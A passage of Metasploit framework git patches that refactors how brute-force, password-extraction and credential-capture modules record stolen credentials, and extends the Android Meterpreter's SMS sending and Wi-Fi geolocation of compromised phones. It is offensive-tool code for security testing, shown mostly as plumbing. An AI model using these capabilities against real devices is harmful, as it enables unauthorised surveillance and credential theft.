:source_type => "captured", - :active => true + report_cred( + ip: c.peerhost, + port: datastore['SRVPORT'], + service_name: 'vnc_client', + user: '', + password: hash_line, + proof: hash_line ) if(datastore['JOHNPWFILE']) diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 2206aa9b70..1149cf7a4f 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Auxiliary FAKE_IP = '192.168.12.123' FAKE_PORT = 80 - FAKE_USER = 'username' + FAKE_USER = 'user' FAKE_PASS = 'password' def initialize(info = {}) @@ -123,6 +123,269 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) end + def test_hp_imc_som_create_account + mod = framework.auxiliary.create('admin/hp/hp_imc_som_create_account') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'https', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_dlink_dir_645_password_extractor + mod = framework.auxiliary.create('admin/http/dlink_dir_645_password_extractor') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_dlink_dsl320b_password_extractor + mod = framework.auxiliary.create('admin/http/dlink_dsl320b_password_extractor') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_nexpose_xxe_file_read + mod = framework.auxiliary.create('admin/http/nexpose_xxe_file_read') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_vbulletin_upgrade_admin + mod = framework.auxiliary.create('admin/http/vbulletin_upgrade_admin') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'http', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_wp_custom_contact_forms + mod = framework.auxiliary.create('admin/http/wp_custom_contact_forms') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + user: FAKE_USER, + password: FAKE_PASS, + service_name: 'WordPress', + proof: '' + ) + end + + def test_zyxel_admin_password_extractor + mod = framework.auxiliary.create('admin/http/zyxel_admin_password_extractor') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'ZyXEL GS1510-16', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_sercomm_dump_config + mod = framework.auxiliary.create('admin/misc/sercomm_dump_config') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + user: FAKE_USER, + password: FAKE_PASS, + service_name: 'sercomm', + proof: '' + ) + end + + def test_vnc + mod = framework.auxiliary.create('server/capture/vnc') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'vnc_client', + user: '', + password: FAKE_PASS, + proof: '' + ) + end + + def test_smtp + mod = framework.auxiliary.create('server/capture/smtp') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'pop3', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_sip + mod = framework.auxiliary.create('server/capture/sip') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'sip_client', + user:FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_oracle_login + mod = framework.auxiliary.create('admin/oracle/oracle_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'oracle', + user: FAKE_USER, + password: FAKE_PASS + ) + end + + def test_postgresql + mod = framework.auxiliary.create('server/capture/postgresql') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'psql_client', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_pop3 + mod = framework.auxiliary.create('server/capture/pop3') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'pop3', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_http_basic + mod = framework.auxiliary.create('server/capture/http_basic') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'HTTP', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_ftp + mod = framework.auxiliary.create('server/capture/ftp') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'ftp', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_drda + mod = framework.auxiliary.create('server/capture/drda') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'db2_client', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_koyo_login + mod = framework.auxiliary.create('scanner/scada/koyo_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'koyo', + user: '', + password: FAKE_PASS, + proof: '' + ) + end + + def test_openvas_otp_login + mod = framework.auxiliary.create('scanner/openvas/openvas_otp_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'openvas-otp', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_openvas_omp_login + mod = framework.auxiliary.create('scanner/openvas/openvas_omp_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'openvas-omp', + user: FAKE_USER, + password: FAKE_PASS, + proof: @result + ) + end + + def test_openvas_gsad_login + mod = framework.auxiliary.create('scanner/openvas/openvas_gsad_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'openvas-gsa', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + + def test_nexpose_api_login + mod = framework.auxiliary.create('scanner/nexpose/nexpose_api_login') + mod.report_cred( + ip: FAKE_IP, + port: FAKE_PORT, + service_name: 'nexpose', + user: FAKE_USER, + password: FAKE_PASS, + proof: '' + ) + end + def run self.methods.each do |m| next if m.to_s !~ /^test_.+/ From 31dcae6828cffafbe03b222b0b0ab6704fe71125 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Thu, 23 Jul 2015 16:58:55 +0100 Subject: [PATCH 036/119] bug fixes --- lib/rex/google_geolocation.rb | 7 +- .../meterpreter/extensions/android/android.rb | 22 ++++-- .../meterpreter/extensions/android/tlv.rb | 12 ++-- .../ui/console/command_dispatcher/android.rb | 69 +++++++++++-------- 4 files changed, 66 insertions(+), 44 deletions(-) diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index a7551cb944..03284060d1 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -18,15 +18,14 @@ module Rex attr_accessor :longitude def initialize - @uri = URI.parse(GOOGLE_API_URI) + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) @wlan_list = [] end # Ask Google's Maps API for the location of a given set of BSSIDs (MAC # addresses of access points), ESSIDs (AP names), and signal strengths. def fetch! - @uri.query << @wlan_list.join("&") - + @uri.query << @wlan_list.join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) http = Net::HTTP::new(@uri.host,@uri.port) http.use_ssl = true @@ -52,7 +51,7 @@ module Rex # @param ssid [String] ESSID associated with the mac # @param signal_strength [String] a thing like def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}") + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) end def google_maps_url diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 97a9614388..12e43e0276 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -120,18 +120,26 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end - def send_sms(dest,body) + def send_sms(dest,body,dr) request = Packet.create_request('send_sms') request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) request.add_tlv(TLV_TYPE_SMS_BODY,body) - response = client.send_request(request) - resp=response.get_tlv(TLV_TYPE_SMS_SENT).value - return resp + request.add_tlv(TLV_TYPE_SMS_DR,dr) + if dr == false + response=client.send_request(request) + sr=response.get_tlv(TLV_TYPE_SMS_SR).value + return sr + else + response=client.send_request(request,30) + sr=response.get_tlv(TLV_TYPE_SMS_SR).value + dr=response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr,dr] + end end def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,45) + response = client.send_request(request,60) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 37232b9bbf..b95b2119ac 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -33,12 +33,14 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) -TLV_TYPE_SMS_SENT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9021) +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) -TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) -TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) -TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) -TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 647199040e..8a40c0ef04 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' +require 'rex/google_geolocation' module Rex module Post @@ -377,10 +378,12 @@ class Console::CommandDispatcher::Android send_sms_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-d' => [ true, 'Destination number' ], - '-t' => [ true, 'SMS body text' ] + '-t' => [ true, 'SMS body text' ], + '-dr' => [ false, 'Wait for delivery report' ] ) dest='' body='' + dr=false send_sms_opts.parse(args) { | opt, idx, val | case opt when '-h' @@ -392,6 +395,8 @@ class Console::CommandDispatcher::Android dest=val when '-t' body=val + when '-dr' + dr=true end } if (dest.blank? or body.blank?) @@ -400,11 +405,25 @@ class Console::CommandDispatcher::Android print_line(send_sms_opts.usage) return end - sent=client.android.send_sms(dest,body) - if (sent) - print_good('SMS sent') + + sent=client.android.send_sms(dest,body,dr) + if (dr) + if (sent[0]=="Transmission successful") + print_good("SMS sent - #{sent[0]}") + else + print_error("SMS send failed - #{sent[0]}") + end + if (sent[1]=="Transmission successful") + print_good("SMS delivered - #{sent[1]}") + else + print_error("SMS delivery failed - #{sent[1]}") + end else - print_status('SMS failed to send') + if (sent=="Transmission successful") + print_good("SMS sent - #{sent}") + else + print_error("SMS send failed - #{sent}") + end end end @@ -422,42 +441,36 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - - print_status('Waiting for WiFi scan results...') + } + log = client.android.wlan_geolocate - wlan_list='' + wlan_list=[] + wlan_str="" log.each{|x| mac=x['bssid'] ssid=x['ssid'] ss=x['level'] - network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" - wlan_list << network_data + wlan_list << [mac,ssid,ss.to_s] } if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end + g = Rex::GoogleGeolocation.new - # Build and send the request to Google - url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" - uri = URI.parse(URI.encode(url)) - request = Net::HTTP::Get.new(uri.request_uri) - http = Net::HTTP::new(uri.host,uri.port) - http.use_ssl = true - response = http.request(request) - - # Gather the required information from the response - if response && response.code == '200' - results = JSON.parse(response.body) - latitude = results["location"]["lat"] - longitude = results["location"]["lng"] - accuracy = results["accuracy"] - print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") - print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") - else - print_error("Failure connecting to Google for location lookup.") + wlan_list.each do |wlan| + g.add_wlan(*wlan) end + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") + else + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") + end + end From 981d98443f9d5e65f6a3d9d71fb3956112294f99 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Thu, 23 Jul 2015 17:04:12 +0100 Subject: [PATCH 037/119] fix local mods Fixed some local modifications that were unintentionally pushed. --- lib/rex/post/meterpreter/extensions/android/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 12e43e0276..957118fcbf 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -139,7 +139,7 @@ class Android < Extension def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,60) + response = client.send_request(request,30) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| From 91fc213ddfa1f5c34b432a043915dc806adb4944 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 23 Jul 2015 15:50:50 -0500 Subject: [PATCH 038/119] More metasploit-credential update --- .../auxiliary/admin/oracle/oracle_login.rb | 2 +- .../sap_businessobjects_user_brute_web.rb | 42 ++- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 46 ++- modules/auxiliary/scanner/http/sevone_enum.rb | 46 ++- .../scanner/http/squiz_matrix_user_enum.rb | 36 ++- .../scanner/http/typo3_bruteforce.rb | 44 ++- .../scanner/misc/dvr_config_disclosure.rb | 42 ++- modules/auxiliary/scanner/misc/oki_scanner.rb | 41 ++- .../scanner/misc/raysharp_dvr_passwords.rb | 42 ++- .../misc/rosewill_rxs3211_passwords.rb | 41 ++- .../scanner/mongodb/mongodb_login.rb | 44 ++- .../auxiliary/scanner/msf/msf_rpc_login.rb | 46 ++- .../auxiliary/scanner/msf/msf_web_login.rb | 46 ++- .../scanner/nessus/nessus_ntp_login.rb | 43 ++- .../scanner/nexpose/nexpose_api_login.rb | 2 +- .../scanner/openvas/openvas_gsad_login.rb | 2 +- .../scanner/openvas/openvas_omp_login.rb | 2 +- .../scanner/openvas/openvas_otp_login.rb | 2 +- modules/auxiliary/scanner/scada/koyo_login.rb | 2 +- modules/auxiliary/server/capture/drda.rb | 2 +- modules/auxiliary/server/capture/ftp.rb | 2 +- .../auxiliary/server/capture/http_basic.rb | 2 +- modules/auxiliary/server/capture/pop3.rb | 2 +- .../auxiliary/server/capture/postgresql.rb | 2 +- modules/auxiliary/server/capture/sip.rb | 2 +- .../auxiliary/test/report_auth_info.rb | 271 ++++++------------ 26 files changed, 551 insertions(+), 303 deletions(-) diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index b4105840c2..e33a0db012 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary module_fullname: fullname, username: opts[:user], private_data: opts[:password], - private_type: :nonreplayable_hash + private_type: :password }.merge(service_data) login_data = { diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb index 7e50d316d3..aef82de583 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb @@ -46,6 +46,33 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def enum_user(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'") success = false @@ -79,14 +106,13 @@ class Metasploit3 < Msf::Auxiliary if success print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'") - report_auth_info( - :host => rhost, - :proto => 'tcp', - :sname => 'sap-businessobjects', - :user => user, - :pass => pass, - :target_host => rhost, - :target_port => rport + report_cred( + ip: rhost, + port: rport, + service_name: 'sap-businessobjects', + user: user, + password: pass, + proof: res.body ) return :next_user else diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 1a180a19fb..7567b73111 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -69,6 +69,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -85,17 +112,14 @@ class Metasploit3 < Msf::Auxiliary if res and !res.get_cookies.empty? print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'ServerTech Sentry Switched CDU', + user: user, + password: pass, + proof: res.get_cookies.inspect + ) return :next_user else diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index 8a0e4774bc..9e8a38d6c5 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -65,6 +65,33 @@ class Metasploit3 < Msf::Auxiliary return false end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -98,17 +125,14 @@ class Metasploit3 < Msf::Auxiliary return :skip_pass else print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'") - - report_hash = { - :host => rhost, - :port => rport, - :sname => 'SevOne Network Performance Management System Application', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'SevOne Network Performance Management System Application', + user: user, + password: pass, + proof: key + ) return :next_user end diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index 1ba09fc870..e3a820fc2a 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -80,6 +80,30 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_enum(asset) begin res = send_request_cgi({ @@ -121,12 +145,12 @@ class Metasploit3 < Msf::Auxiliary @users_found[user] = :reported end - report_auth_info( - :host => rhost, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :port => rport, - :proof => "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}") + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + proof: "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}" + ) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb index 5b65cf02a1..46aee2f1cf 100644 --- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb +++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb @@ -39,20 +39,46 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def try_login(user, pass) vprint_status("#{peer} - Trying username:'#{user}' password: '#{pass}'") cookie = typo3_backend_login(user, pass) if cookie print_good("#{peer} - Successful login '#{user}' password: '#{pass}'") - report_auth_info({ - :host => rhost, - :proto => 'http', - :sname => 'typo3', - :user => user, - :pass => pass, - :target_host => rhost, - :target_port => rport - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'typo3', + user: user, + password: pass, + proof: cookie + ) return :next_user else vprint_error("#{peer} - failed to login as '#{user}' password: '#{pass}'") diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index 47edca4473..69c134e532 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -138,14 +138,40 @@ class Metasploit3 < Msf::Auxiliary return end - report_auth_info({ - :host => server, - :port => port, - :sname => 'ftp', - :duplicate_ok => false, - :user => user, - :pass => password - }) + report_cred( + ip: server, + port: port, + service_name: 'ftp', + user: user, + password: password, + proof: conf.inspect + ) + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) end def get_dvr_credentials(conf) diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index 9ea0e95333..44f949da95 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, @@ -37,6 +38,33 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] = @org_rport end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) @org_rport = datastore['RPORT'] datastore['RPORT'] = datastore['SNMPPORT'] @@ -80,12 +108,13 @@ class Metasploit3 < Msf::Auxiliary case response when "200" print_good("#{rhost}:#{datastore['HTTPPORT']} logged in as: admin/#{last_six}") - report_auth_info( - :host => rhost, - :port => datastore['HTTPPORT'], - :proto => "tcp", - :user => 'admin', - :pass => last_six + report_cred( + ip: rhost, + port: datastore['HTTPPORT'], + service_name: 'http', + user: 'admin', + password: last_six, + proof: response.inspect ) when "401" print_error("Default credentials failed") diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb index 9dbc33a081..9f0c275fd7 100644 --- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -37,6 +37,32 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(9000) ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) req = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" + @@ -76,14 +102,14 @@ class Metasploit3 < Msf::Auxiliary if creds.keys.length > 0 creds.keys.sort.each do |user| pass = creds[user] - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'dvr', - :duplicate_ok => false, - :user => user, - :pass => pass - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'dvr', + user: user, + password: pass, + proof: pass + ) info << "(user='#{user}' pass='#{pass}') " end end diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index fa83664e78..b9edb09746 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -80,16 +80,43 @@ class Metasploit3 < Msf::Auxiliary #Store the password if the parser returns something if password print_status("Password retrieved: #{password.to_s}") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'ipcam', - :duplicate_ok => false, - :pass => password, - }) + report_cred( + ip: rhost, + port: rport, + service_name: 'ipcam', + user: '', + password: password, + proof: password + ) end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def parse_reply(pkt) @results ||= {} diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 6d9dc76358..e8091b4b1b 100644 --- 